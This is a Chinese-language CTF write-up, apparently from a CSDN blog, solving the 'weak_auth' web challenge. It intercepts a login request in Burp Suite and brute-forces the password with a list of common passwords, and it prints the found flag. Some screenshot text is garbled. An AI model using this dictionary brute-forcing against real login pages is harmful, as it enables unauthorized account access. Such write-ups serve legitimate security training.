攻防世界--WEB题之weak_auth



LT.XQ ① 于 2021-02-21 09:21:00 发布 ⁰ 97 % 收藏 分类专栏: CTF学习---刷题 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/gg 45786729/article/details/113859003



CTF学习--刷题 专栏收录该内容

15 篇文章 1 订阅 订阅专栏

问题描述:

难度系数:一颗星 题目来源: Cyberpeace-n3k0 题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。 题目场景: 点击获取在线场景 题目附件: 暂无

解题工具:

burp suite

解题步骤:

1. 打开题目网站,可以看到一个登录界面。源代码等,都没有任何有用信息。猜测是是弱口令,需要暴力破解。

Login

username

password

login

reset

https://blog.csdn.net/gg_45786729

2. 随便填写,点击登录。并用burp suite进行抓包。我们填写的信息都在里面。点击鼠标右键,点击send to intruder。

POST /check.php HTTP/1.1			
Host: 111.200.241.244:47345			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; r	v:85.0) Gecko/20100101 Firefox/85.0		
Accept: text/html,application/xhtml+xml,application/xml;q=	0.9,image/webp,*/*;q=0.8		
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;c	q=0.5,en-US;q=0.3,en;q=0.2		
Accept-Encoding: gzip, deflate			
Content-Type: application/x-www-form-urlencoded			
Content-Length: 27			
Origin: http://111.200.241.244:47345			
Connection: close			
Referer: http://111.200.241.244:47345/			
Cookie: look-here=cookie.php	Scan [Pro version only]		
Upgrade-Insecure-Requests: 1	Send to Intruder	Ctrl+I	
	Send to Repeater	Ctrl+R	
username=admin&password=111	Send to Sequencer	https://blog.csdn.ne	

3. 点击工具栏上的intruder,在点击positions,再点击'clear§',清除所有变量,选中password的值,并点击'add§',设为变

Post Press Per 1178-11 Hart 112021346743 Lise-Appart Motifs (0) Work; skir vision Geschald Display Annyel 2 Access testing control appartment of the press o	
 4. 点击payloads,点击load添加密码本。(密码本可以自己写,常见的密码合集,也可以再网上找) ? Payload Sets You can define one or more payload sets. The number of payload sets depends on 1 customized in different ways. Payload set: 1 Payload count: 25 Payload type: Simple list	Add § Clear § Auto § Refresh
 Payload Sets You can define one or more payload sets. The number of payload sets depends on a customized in different ways. Payload set: Payload set: Payload set: Payload set: Payload count: 25 Payload type: Simple list Request count: 75 Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payload Paste	
You can define one or more payload sets. The number of payload sets depends on a customized in different ways. Payload set: 1 Payload count: 25 Payload type: Simple list Request count: 75 Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payload Paste 123456789 a123456 Load 123456789 1234567890 Woaini1314 qq123456 abc123456 Definition of the string set of the string	
Payload set: 1 Payload count: 25 Payload type: Simple list Request count: 75 Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payload Paste 123456789 123456 Load 123456789 123456789 Remove 123456789 123456789 Clear voaini1314 q123456 Add Enter a new item	on 1
Payload type: Simple list Request count: 75 Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payload Paste 123456789 Load 123456789 Remove 123456789 1234567890 Voaini1314 Q123456 This payload type lets are used as payload Description Description Remove 1234567890 Add Enter a new item	
 Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payload Paste 123456789 123456 123456 123456789 123456789 1234567890 voaini1314 q123456 abc123456 bc123456 bc123456 bc123456 bc123456 bc123456 bc123456 	
Paste 123456789 Load a123456 Remove 123456789 Remove 1234567890 Voaini1314 qq123456 qq123456 Image: Clear Add Enter a new item	pad
Load a123456 Load 123456 Remove 1234567890 Voaini1314 voaini1314 qq123456 v Add Enter a new item	
Load 123456 Remove 123456789 1234567890 woaini1314 qq123456 abc123456 Add Enter a new item	
Remove a123456789 1234567890 woaini1314 Qq123456 abc123456 Add Enter a new item	
Remove 1234567890 woaini1314 qq123456 abc123456 Image: Clear with the second secon	
Clear woaini1314 qq123456 abc123456 Add Enter a new item	
Add Enter a new item	
Add Enter a new item	
Add Enter a new item	
Add from Ent. (Der version and d.). March Million and an attraction	

5. 点击opdions,再点击start attack开始爆破。,会得到不同密码的'length'。不同的'length'则为目标密码。

Request 🔺	Payload	Status	Error	Timeout	Length	Comment
0		200			434	
1	abcabc	200			434	
2	123456789	200			434	
3	123456789	200			434	
4	a123456	200			434	
5	123456	200			437	
6	a123456789	200			434	
7	1234567890	200			434	
8	woaini1314	200			434	
9	qq123456	200			434	
10	abc123456	200			434	
11	123456a	200			434	

6. 点击该目标记录,再点击Response,查看相应信息。发现了目标flag。

□<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>weak auth</title>
</head>

<body>

cyberpeace{492b9d999c0e12ae80ad87ba22932aad}<!--maybe you need a dictionary-->

</body>

https://blog.csdn.net/gg_45786729

7. 提交,正确。